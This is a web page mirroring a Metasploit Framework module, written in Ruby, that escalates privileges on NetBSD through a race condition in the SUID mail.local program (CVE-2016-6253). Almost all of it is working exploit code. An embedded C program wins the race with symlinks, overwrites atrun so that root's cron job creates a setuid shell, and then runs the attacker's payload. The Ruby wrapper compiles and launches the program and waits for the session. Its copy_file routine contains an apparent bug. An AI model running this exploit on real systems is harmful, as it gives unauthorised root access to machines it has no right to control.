CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/local/netbsd_mail_local.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'NetBSD mail.local Privilege Escalation',
17
'Description' => %q{
18
This module attempts to exploit a race condition in mail.local with SUID bit set on:
19
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
20
NetBSD 6.1 - 6.1.5
21
NetBSD 6.0 - 6.0.6
22
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'h00die <[email protected]>', # Module
27
'akat1' # Discovery
28
],
29
30
'DisclosureDate' => '2016-07-07',
31
'Platform' => 'unix',
32
'Arch' => ARCH_CMD,
33
'SessionTypes' => %w[shell meterpreter],
34
'Privileged' => true,
35
'Payload' => {
36
'Compat' => {
37
'PayloadType' => 'cmd',
38
'RequiredCmd' => 'generic openssl'
39
}
40
},
41
'Targets' => [
42
[ 'Automatic Target', {}]
43
],
44
'DefaultTarget' => 0,
45
'DefaultOptions' => { 'WfsDelay' => 603 }, # can take 10min for cron to kick
46
'References' => [
47
[ 'URL', 'http://akat1.pl/?id=2'],
48
[ 'EDB', '40141'],
49
[ 'CVE', '2016-6253'],
50
[ 'URL', 'http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc']
51
],
52
'Notes' => {
53
'Reliability' => [REPEATABLE_SESSION],
54
'Stability' => [OS_RESOURCE_LOSS],
55
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
56
}
57
)
58
)
59
register_options([
60
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
61
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
62
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
63
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
64
])
65
end
66
67
def exploit
68
# lots of this file's format is based on pkexec.rb
69
70
# direct copy of code from exploit-db
71
main = %q{
72
// Source: http://akat1.pl/?id=2
73
74
#include <stdio.h>
75
#include <unistd.h>
76
#include <fcntl.h>
77
#include <signal.h>
78
#include <stdlib.h>
79
#include <string.h>
80
#include <err.h>
81
#include <sys/wait.h>
82
83
#define ATRUNPATH "/usr/libexec/atrun"
84
#define MAILDIR "/var/mail"
85
86
static int
87
overwrite_atrun(void)
88
{
89
char *script = "#! /bin/sh\n"
90
"cp /bin/ksh /tmp/ksh\n"
91
"chmod +s /tmp/ksh\n";
92
size_t size;
93
FILE *fh;
94
int rv = 0;
95
96
fh = fopen(ATRUNPATH, "wb");
97
98
if (fh == NULL) {
99
rv = -1;
100
goto out;
101
}
102
103
size = strlen(script);
104
if (size != fwrite(script, 1, strlen(script), fh)) {
105
rv = -1;
106
goto out;
107
}
108
109
out:
110
if (fh != NULL && fclose(fh) != 0)
111
rv = -1;
112
113
return rv;
114
}
115
116
static int
117
copy_file(const char *from, const char *dest, int create)
118
{
119
char buf[1024];
120
FILE *in = NULL, *out = NULL;
121
size_t size;
122
int rv = 0, fd;
123
124
in = fopen(from, "rb");
125
if (create == 0)
126
out = fopen(dest, "wb");
127
else {
128
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
129
if (fd == -1) {
130
rv = -1;
131
goto out;
132
}
133
out = fdopen(fd, "wb");
134
}
135
136
if (in == NULL || out == NULL) {
137
rv = -1;
138
goto out;
139
}
140
141
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
142
if (fwrite(&buf, 1, size, in) != 0) {
143
rv = -1;
144
goto out;
145
}
146
}
147
148
out:
149
if (in != NULL && fclose(in) != 0)
150
rv = -1;
151
if (out != NULL && fclose(out) != 0)
152
rv = -1;
153
return rv;
154
}
155
156
int
157
main()
158
{
159
pid_t pid;
160
uid_t uid;
161
struct stat sb;
162
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
163
164
umask(0077);
165
166
login = getlogin();
167
168
if (login == NULL)
169
err(EXIT_FAILURE, "who are you?");
170
171
uid = getuid();
172
173
asprintf(&mailbox, MAILDIR "/%s", login);
174
175
if (mailbox == NULL)
176
err(EXIT_FAILURE, NULL);
177
178
if (access(mailbox, F_OK) != -1) {
179
/* backup mailbox */
180
asprintf(&mailbox_backup, "/tmp/%s", login);
181
if (mailbox_backup == NULL)
182
err(EXIT_FAILURE, NULL);
183
}
184
185
if (mailbox_backup != NULL) {
186
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
187
if (copy_file(mailbox, mailbox_backup, 1))
188
err(EXIT_FAILURE, "[-] failed");
189
}
190
191
/* backup atrun(1) */
192
atrun_backup = strdup("/tmp/atrun");
193
if (atrun_backup == NULL)
194
err(EXIT_FAILURE, NULL);
195
196
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
197
198
if (copy_file(ATRUNPATH, atrun_backup, 1))
199
err(EXIT_FAILURE, "[-] failed");
200
201
/* win the race */
202
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
203
204
switch (pid = fork()) {
205
case -1:
206
err(EXIT_FAILURE, NULL);
207
/* NOTREACHED */
208
case 0:
209
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
210
"2> /dev/null", login);
211
212
for(;;)
213
system(buf);
214
/* NOTREACHED */
215
216
default:
217
umask(0022);
218
for(;;) {
219
int fd;
220
unlink(mailbox);
221
symlink(ATRUNPATH, mailbox);
222
sync();
223
unlink(mailbox);
224
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
225
close(fd);
226
sync();
227
if (lstat(ATRUNPATH, &sb) == 0) {
228
if (sb.st_uid == uid) {
229
kill(pid, 9);
230
fprintf(stderr, "[+] won race!\n");
231
break;
232
}
233
}
234
}
235
break;
236
}
237
(void)waitpid(pid, NULL, 0);
238
239
if (mailbox_backup != NULL) {
240
/* restore mailbox */
241
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
242
243
if (copy_file(mailbox_backup, mailbox, 0))
244
err(EXIT_FAILURE, "[-] failed");
245
if (unlink(mailbox_backup) != 0)
246
err(EXIT_FAILURE, "[-] failed");
247
}
248
249
/* overwrite atrun */
250
fprintf(stderr, "[+] overwriting atrun(1)\n");
251
252
if (chmod(ATRUNPATH, 0755) != 0)
253
err(EXIT_FAILURE, NULL);
254
255
if (overwrite_atrun())
256
err(EXIT_FAILURE, NULL);
257
258
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
259
260
for(;;sleep(1)) {
261
if (access("/tmp/ksh", F_OK) != -1)
262
break;
263
}
264
265
/* restore atrun */
266
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
267
268
if (copy_file(atrun_backup, ATRUNPATH, 0))
269
err(EXIT_FAILURE, "[-] failed");
270
if (unlink(atrun_backup) != 0)
271
err(EXIT_FAILURE, "[-] failed");
272
273
if (chmod(ATRUNPATH, 0555) != 0)
274
err(EXIT_FAILURE, NULL);
275
276
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
277
"ownership.\n");
278
fprintf(stderr, "Enjoy your shell:\n");
279
280
execl("/tmp/ksh", "ksh", NULL);
281
282
return 0;
283
}
284
}
285
# patch in our variable maildir and atrunpath
286
main.gsub!(%r{#define ATRUNPATH "/usr/libexec/atrun"},
287
"#define ATRUNPATH \"#{datastore['ATRUNPATH']}\"")
288
main.gsub!(%r{#define MAILDIR "/var/mail"},
289
"#define MAILDIR \"#{datastore['MAILDIR']}\"")
290
291
executable_path = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"
292
payload_file = rand_text_alpha(8).to_s
293
payload_path = "#{datastore['WritableDir']}/#{payload_file}"
294
vprint_status("Writing Payload to #{payload_path}")
295
# patch in to run our payload as part of ksh
296
main.gsub!(%r{execl\("/tmp/ksh", "ksh", NULL\);},
297
"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
298
299
write_file(payload_path, payload.encoded)
300
cmd_exec("chmod 555 #{payload_path}")
301
register_file_for_cleanup(payload_path)
302
303
print_status "Writing exploit to #{executable_path}.c"
304
305
# clean previous bad attempts to prevent c code from exiting
306
rm_f executable_path
307
rm_f '/tmp/atrun'
308
whoami = cmd_exec('whoami')
309
rm_f "/tmp/#{whoami}"
310
311
write_file("#{executable_path}.c", main)
312
print_status("Compiling #{executable_path}.c via gcc")
313
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
314
output.each_line { |line| vprint_status(line.chomp) }
315
316
print_status('Starting the payload handler...')
317
handler({})
318
319
print_status("Executing at #{Time.now}. May take up to 10min for callback")
320
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
321
output.each_line { |line| vprint_status(line.chomp) }
322
323
# our sleep timer
324
stime = Time.now.to_f
325
Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
326
print_status(Time.now.to_s)
327
register_file_for_cleanup(executable_path)
328
register_file_for_cleanup("#{executable_path}.out")
329
print_status("Remember to run: chown root:wheel #{datastore['ATRUNPATH']}")
330
end
331
end
332
333